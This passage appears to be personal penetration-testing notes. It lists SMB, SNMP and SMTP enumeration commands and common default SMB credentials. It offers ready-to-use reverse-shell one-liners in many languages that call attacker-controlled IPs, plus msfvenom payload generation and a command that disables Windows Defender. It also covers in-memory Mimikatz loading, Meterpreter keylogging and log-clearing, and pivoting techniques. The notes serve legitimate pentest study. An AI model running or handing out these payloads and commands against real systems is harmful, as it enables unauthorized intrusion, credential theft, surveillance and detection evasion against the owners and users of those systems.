  `.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`
* Run [Scavenger](https://github.com/SpiderLabs/scavenger/tree/master) *from a Linux host* to find useful data in shares:\
  `python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d testdomain.local`
* Shares enumeration from *Windows:*\
  `net view \MachineName /all`
* CME Shares Enumeration from *Linux*:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --shares`
* CME Share Spidering from *Linux*:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword -M spider_plus --share sharename`
* SMBMap Share Enumeration from *Linux*:\
  `smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5`
* SMBMap Share Recursive Directory Listing from *Linux*\
  `smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SHARENAME --dir-only`
* Download Shares Recursively from *Linux*:\
  `smbget -u guest -R smb://10.129.8.111/Development/`

***

## **SMB NULL Session, Guest and Common Credentials Authentication**

* **Guest Authentication:** `enum4linux -a -u "guest" -p "" <DC IP>`
* **Guest Authentication:** `smbmap -u "guest" -p "" -P 445 -H <DC IP>`
* **Guest Authentication:** `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
* **NULL Session:** `smbclient -N -L //<FQDN/IP>`
* **NULL Session:** `crackmapexec smb <FQDN/IP> --shares -u '' -p ''`
* **NULL Session:** `smbmap -u "" -p "" -P 445 -H <DC IP>`
* **NULL Session:** `enum4linux -a -u "" -p "" <DC IP>`
* Check for common SMB credentials, as listed below

***

## **Common SMB Credentials**

Source: <https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#possible-credentials>

| Common Username(s)   | Common Password                         |
| -------------------- | --------------------------------------- |
| (blank)              | (blank)                                 |
| guest                | (blank)                                 |
| Administrator, admin | (blank), password, administrator, admin |
| arcserve             | arcserve, backup                        |
| tivoli, tmersrvd     | tivoli, tmersrvd, admin                 |
| backupexec, backup   | backupexec, backup, arcada              |
| test, lab, demo      | password, test, lab, demo               |

***

## **Enumerating SMB via RPC Client**

The rpcclient utility offers us many different requests with which we can execute specific functions on the SMB server to get information.

| Command (Query) | Description                                                        |
| --------------- | ------------------------------------------------------------------ |
| srvinfo         | Server information.                                                |
| enumdomains     | Enumerate all domains that are deployed in the network.            |
| querydominfo    | Provides domain, server, and user information of deployed domains. |
| netshareenumall | Enumerates all available shares.                                   |
| netsharegetinfo | Provides information about a specific share.                       |
| enumdomusers    | Enumerates all domain users.                                       |
| queryuser       | Provides information about a specific user.                        |

**Bruteforcing user RIDs:**

* Oneliner:\
  `for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done`
* Impacket Samrdump: `samrdump.py 10.129.14.128`

***

## **CrackMapExec (CME) Utilities**

| Description                                            | Command                                                                                              |
| ------------------------------------------------------ | ---------------------------------------------------------------------------------------------------- |
| Run commands with CrackMapExec                         | `crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec` |
| Enumerate logged on users with CrackMapExec            | `crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users`                |
| Extract Hashes from the SAM Database with CrackMapExec | `crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam`                             |
| Enumerate Password Policies                            | `crackmapexec smb 172.16.5.5 -u validuser -p validpass --pass-pol`                                   |


# SMTP

## **Introduction**

> * The Simple Mail Transfer Protocol (SMTP) is a protocol for sending emails in an IP network
> * SMTP is often combined with the IMAP or POP3 protocols, which can fetch emails and send emails.
> * SMTP runs on port 25 UDP by default
> * Newer SMTP servers also use other ports such as TCP 587

***

## **SMTP Enumeration**

| Command                                                                         | Description                                                     |
| ------------------------------------------------------------------------------- | --------------------------------------------------------------- |
| telnet \<FQDN/IP> 25 followed by `EHLO nameserver.htb` or `HELO nameserver.htb` | Check connection to SMTP                                        |
| `Test-NetConnection -Port 25 192.168.50.8`                                      | Check connection to SMTP (Windows)                              |
| smtp-user-enum -M VRFY -u root -t 192.168.1.25                                  | Enumerate SMTP user "root" using the VRFY method (if available) |
| sudo nmap 10.129.14.128 -p25 --script smtp-open-relay -v                        | SMTP Open Relay server enumeration via nmap script              |

***

## **SMTP Open Relay**

> * An open relay is a SMTP server improperly configured to allow an unauthenticated email relay.
> * A SMTP Open Relay allows mail from any source to be transparently re-routed through the open relay server.
> * This behavior masks the source of the messages and makes it look like the mail originated from the open relay server.
> * Useful for phishing purposes


# SNMP

## **Introduction**

> * Simple Network Management Protocol (SNMP) is a protocol for monitoring different devices in the network
> * It can contain different information about devices, including `logs` and `credentials`
> * By default, SNMNP runs on port 161 UDP
> * SNMP often requires a "community string" to authenticate

***

## **SNMP Enumeration**

| Command                                          | Description                                                                                                                                                         |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| snmpwalk -v2c -c \<FQDN/IP>                      | Querying OIDs using snmpwalk.                                                                                                                                       |
| onesixtyone -c community-strings.list \<FQDN/IP> | Bruteforcing community strings of the SNMP service.                                                                                                                 |
| braa @\<FQDN/IP>:.1.\*                           | Bruteforcing SNMP service OIDs.                                                                                                                                     |
| snmp-check -c                                    | Enumerate SNMP                                                                                                                                                      |
| Common community strings list #1                 | [GitHub-link](https://github.com/OWASP/AppSec-Browser-Bundle/blob/master/utilities/wfuzz/wordlist/fuzzdb/wordlists-misc/wordlist-common-snmp-community-strings.txt) |
| Common community strings list #2                 | [GitHub-link](https://github.com/SECFORCE/sparta/blob/master/wordlists/snmp-default.txt)                                                                            |

### SNMP Enumeration using snmpwalk

The following examples are given without using any community string.\
You can fuzz for default or common community strings using the wordlists linked in the table above.\
Most of the times, the default community strings you might find are `public` and `private`

1. List all Windows Users:\
   `snmpwalk -v <snmp-version> -c <string> <IP> 1.3.6.1.4.1.77.1.2.25`
2. List all running processes: \
   `snmpwalk-v <snmp-version> -c <string> <IP> 1.3.6.1.2.1.25.4.2.1.2`
3. List all installed software:\
   `snmpwalk -v <snmp-version> -c <string> <IP> 1.3.6.1.2.1.25.6.3.1.2`
4. List TCP listening ports:\
   `snmpwalk -v <snmp-version> -c <string> <IP> 1.3.6.1.2.1.6.13.1.3`
5. Enumerate all info (might be too verbose):\
   `snmpwalk -v <snmp-version> -c <community-string> <IP> .1`&#x20;
6. Get extended objects (might reveal some otherwise hidden info):\
   `snmpwalk -v <snmp-version> -c <string> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects`&#x20;


# Utilities, Scripts and Payloads

## **Introduction**

> This section contains different utilities to help you during the penetration testing process

***

## **Useful External Resources**

1. CyberChef: <https://gchq.github.io/CyberChef/>
2. Python exploit development library: <https://github.com/Gallopsled/pwntools>


# Shells and Payloads

## **Introduction**

> There are many different ways to "pop" a reverse shell. Check out the different paylads provided in my notes, but keep in mind that there are many different resources online

***

## **Useful Resources**

* [RevShells.com](https://www.revshells.com/)
* [HackTricks](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux)
* [PentestMonkey](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [ExploitNotes](https://exploit-notes.hdks.org/exploit/shell/reverse-shell-cheat-sheet/)

***

## **Bash Reverse Shells**

<pre><code>bash -i >&#x26; /dev/tcp/10.0.0.1/8080 0>&#x26;1

<strong>bash -c "bash -i >&#x26; /dev/tcp/10.0.0.1/8080 0>&#x26;1"
</strong>
0&#x3C;&#x26;196;exec 196&#x3C;>/dev/tcp/192.168.1.101/80; sh &#x3C;&#x26;196 >&#x26;196 2>&#x26;196
</code></pre>

***

## **PHP Reverse Shells**

```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>

https://github.com/flast101/reverse-shell-cheatsheet/blob/master/php-reverse-shell.php
```

***

## **Python Reverse Shells**

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'")

Python TTY: python -c 'import pty; pty.spawn("/bin/sh")'
```

***

## **Netcat Reverse Shells**

<pre><code>nc 192.168.1.101 5555 -e /bin/bash
<strong>
</strong><strong>rm -f /tmp/p; mknod /tmp/p p &#x26;&#x26; nc ATTACKING-IP 4444 0/tmp/p
</strong></code></pre>

***

## **Node.js Reverse Shells**

```
require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1');

JSShell: https://github.com/shelld3v/JSshell
```

***

## **Powershell Payloads**

```
Reverse Shell: powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Disable real time monitoring in Windows Defender: Set-MpPreference -DisableRealtimeMonitoring $true
```

***

## **Perl Reverse Shells**

```
perl -e 'exec "/bin/sh";'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

***

## **Ruby Reverse Shells**

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

***

## **Linux Payloads**

```
Spawn interactive shell: awk 'BEGIN {system("/bin/sh")}' 
Spawn interactive shell: find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
Spawn interactive shell: find . -exec /bin/sh \; -quit 
Spawn interactive shell: vim -c ':!/bin/sh'
```

***

## **Searchsploit**

* Install & update: `sudo apt update && sudo apt install exploitdb`
* You can serach for exploits using tags such as: `searchsploit remote smb microsoft window`
* Copy a script to the current directory: `searchsploit -m windows/remote/48537.py`

***

## **Msfconsole & Msfvenom**

| Commands                                                                                          | Description                                                                                                                 |
| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| use exploit/windows/smb/psexec                                                                    | Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec |
| shell                                                                                             | Command used in a meterpreter shell session to drop into a system shell                                                     |
| msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf    | MSFvenom command used to generate a linux-based reverse shell stageless payload                                             |
| msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe      | MSFvenom command used to generate a Windows-based reverse shell stageless payload                                           |
| msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho  | MSFvenom command used to generate a MacOS-based reverse shell payload                                                       |
| msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp | MSFvenom command used to generate a ASP web reverse shell payload                                                           |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp    | MSFvenom command used to generate a JSP web reverse shell payload                                                           |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war    | MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload                                       |
| use auxiliary/scanner/smb/smb\_ms17\_010                                                          | Metasploit exploit module used to check if a host is vulnerable to ms17\_010                                                |
| use exploit/windows/smb/ms17\_010\_psexec                                                         | Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17\_010    |
| use exploit/linux/http/rconfig\_vendors\_auth\_file\_upload\_rce                                  | Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6     |

***

## **Kali Linux Web Shells**

> You can find some web shells within Kali Linux, under `/usr/share/webshells`


# Metasploit Framework

## **Introduction**

> The Metasploit Framework is a Ruby-based penetration testing platform that writing, testing, and executing exploit code.\
> Metasploit contains a suite of tools to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

***

## **MSFconsole Commands**

| Command       | Description                                                          |
| ------------- | -------------------------------------------------------------------- |
| show exploits | Show all exploits within the Framework.                              |
| show payloads | Show all payloads within the Framework.                              |
| setg          | Set a specific value globally (for example, LHOST or RHOST).         |
| show options  | Show the options available for a module or exploit.                  |
| show targets  | Show the platforms supported by the exploit.                         |
| set target    | Specify a specific target index if you know the OS and service pack. |
| set payload   | Specify the payload to use.                                          |
| show advanced | Show advanced options.                                               |
| sessions -l   | List available sessions (used when handling multiple shells).        |
| sessions -i   | Interact with a session                                              |
| sessions -K   | Kill all live sessions.                                              |
| sessions -c   | Execute a command on all live Meterpreter sessions.                  |
| sessions -u   | Upgrade a normal Win32 shell to a Meterpreter console.               |

***

## **Meterpreter Commands**

| Command                                    | Description                                                                                   |
| ------------------------------------------ | --------------------------------------------------------------------------------------------- |
| migrate \<proc. id>                        | Migrate to the specific process ID (PID is the target process ID gained from the ps command). |
| list\_tokens -u                            | List available tokens on the target by user.                                                  |
| list\_tokens -g                            | List available tokens on the target by group.                                                 |
| impersonate\_token \<DOMAIN\_NAMEUSERNAME> | Impersonate a token available on the target.                                                  |
| steal\_token \<proc. id>                   | Steal the tokens available for a given process and impersonate that token.                    |
| drop\_token                                | Stop impersonating the current token.                                                         |
| getsystem                                  | Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.        |
| shell                                      | Drop into an interactive shell with all available tokens.                                     |
| execute -f \<cmd.exe> -i                   | Execute cmd.exe and interact with it.                                                         |
| execute -f \<cmd.exe> -i -t                | Execute cmd.exe with all available tokens.                                                    |
| execute -f \<cmd.exe> -i -H -t             | Execute cmd.exe with all available tokens and make it a hidden process.                       |
| rev2self                                   | Revert back to the original user you used to compromise the target.                           |
| reg                                        | Interact, create, delete, query, set, and much more in the target’s registry.                 |
| setdesktop                                 | Switch to a different screen based on who is logged in.                                       |
| screenshot                                 | Take a screenshot of the target’s screen.                                                     |
| upload                                     | Upload a file to the target.                                                                  |
| download                                   | Download a file from the target.                                                              |
| keyscan\_start                             | Start sniffing keystrokes on the remote target.                                               |
| keyscan\_dump                              | Dump the remote keys captured on the target.                                                  |
| keyscan\_stop                              | Stop sniffing keystrokes on the remote target.                                                |
| getprivs                                   | Get as many privileges as possible on the target.                                             |
| uictl enable \<keyboard/mouse>             | Take control of the keyboard and/or mouse.                                                    |
| background                                 | Run your current Meterpreter shell in the background.                                         |
| hashdump                                   | Dump all hashes on the target. use sniffer Load the sniffer module.                           |
| sniffer\_interfaces                        | List the available interfaces on the target.                                                  |
| sniffer\_dump pcapname                     | Start sniffing on the remote target.                                                          |
| sniffer\_start packet-buffer               | Start sniffing with a specific range for a packet buffer.                                     |
| sniffer\_stats                             | Grab statistical information from the interface you are sniffing.                             |
| sniffer\_stop                              | Stop the sniffer.                                                                             |
| add\_user -h                               | Add a user on the remote target.                                                              |
| add\_group\_user <"Domain Admins"> -h      | Add a username to the Domain Administrators group on the remote target.                       |
| clearev                                    | Clear the event log on the target machine.                                                    |
| timestomp                                  | Change file attributes, such as creation date (antiforensics measure).                        |
| reboot                                     | Reboot the target machine.                                                                    |

***

## **Common Meterpreter Payloads for Windows**

| Payload                           | Description                                                            |
| --------------------------------- | ---------------------------------------------------------------------- |
| generic/custom                    | Generic listener, multi-use                                            |
| generic/shell\_bind\_tcp          | Generic listener, multi-use, normal shell, TCP connection binding      |
| generic/shell\_reverse\_tcp       | Generic listener, multi-use, normal shell, reverse TCP connection      |
| windows/x64/exec                  | Executes an arbitrary command (Windows x64)                            |
| windows/x64/loadlibrary           | Loads an arbitrary x64 library path                                    |
| windows/x64/messagebox            | Spawns a dialog via MessageBox using a customizable title, text & icon |
| windows/x64/shell\_reverse\_tcp   | Normal shell, single payload, reverse TCP connection                   |
| windows/x64/shell/reverse\_tcp    | Normal shell, stager + stage, reverse TCP connection                   |
| windows/x64/shell/bind\_ipv6\_tcp | Normal shell, stager + stage, IPv6 Bind TCP stager                     |
| windows/x64/meterpreter/$         | Meterpreter payload + varieties above                                  |
| windows/x64/powershell/$          | Interactive PowerShell sessions + varieties above                      |
| windows/x64/vncinject/$           | VNC Server (Reflective Injection) + varieties above                    |

***

## **Importing External Exploits into MSFConsole**

> The default directory where all the modules, scripts, plugins, and `msfconsole` proprietary files are stored is `/usr/share/metasploit-framework`\
> Alternatively, you can use the folder `/home/username/.msf4`\
> To import a module, you just need to copy it in one of the previous folders and use the `reload_all` command.\
> Alternatively, you can load a module at runtime by using `loadpath /usr/share/metasploit-framework/modules/`<br>

***

## **Meterpreter Pivoting**

| Command                                       | Description                                                                                                                     |
| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| portfwd add -R -l 8443 -p 1234 -L 10.10.14.15 | Set up a local port forwarding rule to forward all traffic destined to port 1234 on 10.10.14.15 to port 8443 on our attack host |
| run autoroute -s 172.16.9.0/23                | set up a route to the 172.16.9.0/23 subnet                                                                                      |

***

## **Msfconsole & Msfvenom**

| Commands                                                                                          | Description                                                                                                                 |
| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| use exploit/windows/smb/psexec                                                                    | Metasploit exploit module that can be used on vulnerable Windows system to establish a shell session utilizing smb & psexec |
| shell                                                                                             | Command used in a meterpreter shell session to drop into a system shell                                                     |
| msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf    | MSFvenom command used to generate a linux-based reverse shell stageless payload                                             |
| msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe      | MSFvenom command used to generate a Windows-based reverse shell stageless payload                                           |
| msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho  | MSFvenom command used to generate a MacOS-based reverse shell payload                                                       |
| msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp | MSFvenom command used to generate a ASP web reverse shell payload                                                           |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp    | MSFvenom command used to generate a JSP web reverse shell payload                                                           |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war    | MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload                                       |
| use auxiliary/scanner/smb/smb\_ms17\_010                                                          | Metasploit exploit module used to check if a host is vulnerable to ms17\_010                                                |
| use exploit/windows/smb/ms17\_010\_psexec                                                         | Metasploit exploit module used to gain a reverse shell session on a Windows-based system that is vulnerable to ms17\_010    |
| use exploit/linux/http/rconfig\_vendors\_auth\_file\_upload\_rce                                  | Metasploit exploit module that can be used to optain a reverse shell on a vulnerable linux system hosting rConfig 3.9.6     |

***

## **Utilities - Exploit Suggester & HashDump**

* `local_exploit_suggester`: useful module for privesc
* `hashdump` or `comando lsa_dump_secrets` or `lsa_dump_sam`: commands to dump all passwords \\
  * Disclaimer: before using `hashdump` you need to ensure to have `root` or `nt authority system` privileges
  * To do that, use `ps` to check the permissions of the current process you are on, then use `migrate PID` on a root process, if you aren't root already


# File Transfers

## **Introduction**

> There are many different methods to transfers files from a target machine to the attackers machine and vice versa. The following notes are a useful reference to help you achieve this task.

***

## **Basic Methods**

| Command                                                                                          | Description                                                                  |
| ------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------- |
| `cat filename \| base64 -w 0; echo` followed by `echo 'encoding-result' \| base64 -d`            | Encode and decode a file via base64 to transfer its content on local machine |
| `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh` | Download a file using Wget                                                   |
| `curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh` | Download a file using cURL                                                   |

***

## **Using SSH Secure Copy (SCP)**

| Command                                                         | Description               |
| --------------------------------------------------------------- | ------------------------- |
| `scp C:\Temp\bloodhound.zip user@target-ip:/tmp/bloodhound.zip` | Upload a file using SCP   |
| `scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe`        | Download a file using SCP |

***

## **Using a fake SMB Server**

| Command                                                                                  | Description                                                             |
| ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
| `sudo impacket-smbserver sharename -smb2support /tmp/smbshare`                           | Create an SMB Server with anonymous access                              |
| `copy \\server-ip\share\nc.exe`                                                          | Copy file to previous SMB Server when anonymous access is available     |
| `sudo impacket-smbserver sharename -smb2support /tmp/smbshare -user test -password test` | Create an SMB Server hosting a share named "sharename" with credentials |
| `net use n: \\server-ip\sharename /user:test test`                                       | Copy file to previous SMB Server when anonymous access is NOT available |

***

## **Using RDP Shares and Clipboard**

* Create an SMB share containing the Kali user's home drive:\
  `xfreerdp /v:ip /u:user /p:password +home-drive`
* Connect to a FreeRDP server with a shared directory:\
  `xfreerdp /v:ip_address /u:username /p:password /drive:path/to/directory,share_name`
* Use RDP clipboard redirection:\
  `xfreerdp /v:ip_address /u:username /p:password +clipboard`

***

## **Windows File Transfers**

* Download a file with PowerShell:\
  `Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1`
* Execute a file in memory using PowerShell:\
  `IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')`
* Upload a file with PowerShell:\
  `Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64`
* Download a file using Bitsadmin:\
  `bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe`
* Download a file using Certutil:\
  `certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe`
* Download a file using PHP\
  `php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'`
* Invoke-WebRequest using a Chrome User Agent:\
  `Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"`

***

## **File Transfers with Netcat**

**Case 1 - Using nc to Upload from attacker to target:**

1. From the target machine: `nc -l -p 8000 > SharpKatz.exe`
2. From attacker machine: `nc -q 0 192.168.49.128 8000 < SharpKatz.exe`

**Case 2 - Using ncat to Upload from attacker to target:**

1. From the target machine: `ncat -l -p 8000 --recv-only > SharpKatz.exe`
2. From attacker machine: `ncat --send-only target-ip 8000 < SharpKatz.exe`


# Pivoting, Tunneling, Port Forwarding

## **Introduction**

> **Pivoting** is essentially the idea of moving to other networks through a compromised host (pivot host) to find more targets on different network segments. Pivoting's primary use is to defeat segmentation (both physically and virtually) to access an isolated network.\
> **Tunneling** is a subset of pivoting. Tunneling encapsulates network traffic into another protocol and routes traffic through it.\
> **Port forwarding** is a technique that allows us to redirect a communication request from one port to another.

***

## **Initial Enumeration - Finding More Targets**

### **Finding Networks**

| Command                        | Description                                                                                                                                   |
| ------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `ifconfig`                     | Linux-based command that displays all current network configurations of a system.                                                             |
| `ipconfig`                     | Windows-based command that displays all system network configurations.                                                                        |
| `netstat -r`                   | Command used to display the routing table for all IPv4-based protocols.                                                                       |
| `netstat -antp`                | Used to display all active network connections with associated process IDs. Useful to identify internal services to enumerate though pivoting |
| `netstat -antb \|findstr 1080` | Windows-based command used to list TCP network connections listening on port 1080.                                                            |

### **Internal Hosts Discovery**

| Command                                                                                   | Description                                                                                 |
| ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `for i in {1..254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done`              | For Loop used on a Linux-based system to discover devices in a specified network segment.   |
| `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply"`                  | For Loop used on a Windows-based system to discover devices in a specified network segment. |
| `1..254 \| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}` | PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.       |

***

## **SSH Local Port forwarding**

| Command                                                                   | Description                                                                                                                              |
| ------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| `ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`                   | SSH comand used to create an SSH tunnel from local port 1234 to a remote target using port 3306.                                         |
| `netstat -antp \| grep 1234`                                              | Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` . |
| `nmap -v -sV -p1234 localhost`                                            | Nmap command used to scan a host through a connection that has been made on local port `1234`.                                           |
| `ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>` | SSH command that instructs the ssh client to request multiple local port forwarding at the same time.                                    |

***

## **SSH Dynamic Port Forwarding**

| Command                                  | Description                                                                                                                                                |
| ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ssh -D 9050 ubuntu@<IPaddressofTarget>` | SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy. |
| `tail -4 /etc/proxychains.conf`          | Read proxychains.conf to ensure socks configurations are in place.                                                                                         |
| `proxychains nmap -v -sn 172.16.5.1-200` | Send traffic generated by Nmap through Proxychains and a SOCKS proxy.                                                                                      |
| `proxychains msfconsole`                 | Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.                                                          |

***

## **SSH Reverse Port Forwarding**

| Command                                                                       | Description                                                                                                                            |
| ----------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 user@<ipAddressofTarget> -vN` | Reverse SSH tunnel from target host to attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target. |

***

## **Chisel Pivoting**

| Command                                       | Description                                                                                   |
| --------------------------------------------- | --------------------------------------------------------------------------------------------- |
| `./chisel server -v -p 1234 --socks5`         | Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5. |
| `./chisel client -v 10.129.202.64:1234 socks` | Used to connect to a chisel server at the specified IP address & port using socks.            |
| Add to proxychains: `127.0.0.1 socks5 1080`   | Line to add to `/etc/proxychains.conf` when using chisel                                      |

***

## **ProxyChains Configuration**

> Many tools will require setting up the proxychain configuration in order to function properly.
>
> For example, chisel requires adding the following: `127.0.0.1 socks5 1080`.

| Command                 | Description                                                                                                                                                                |
| ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `socks4 127.0.0.1 9050` | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port. |
| `socks5 127.0.0.1 1080` | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port. |

***

## **Meterpreter Pivoting**

| Command                                                                   | Description                                                                                                                                                                                              |
| ------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `msf6 > use post/multi/manage/autoroute`                                  | Metasploit command used to select the autoroute module.                                                                                                                                                  |
| `meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>`        | Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target. |
| `meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>` | Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.                             |

***

## **Socat Pivoting**

| Command                                                       | Description                                                                                                                               |
| ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80` | Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.   |
| `socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443`   | Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443. |

***

## **Windows PLink Pivoting**

| Command                                    | Description                                                                                                                                                                                                                                                             |
| ------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plink -D 9050 ubuntu@<IPaddressofTarget>` | Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host. |

***

## **SSHuttle Pivoting**

| Command                                               | Description                                                                                                                                                         |
| ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v` | Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network |

***

## Windows NetSh Pivoting

`netsh` is the native way to create a port forward on Windows.

Notice that `netsh` can only be run from `Administrator` users.

| Command                                                                                                                                  | Description                                                                                                |
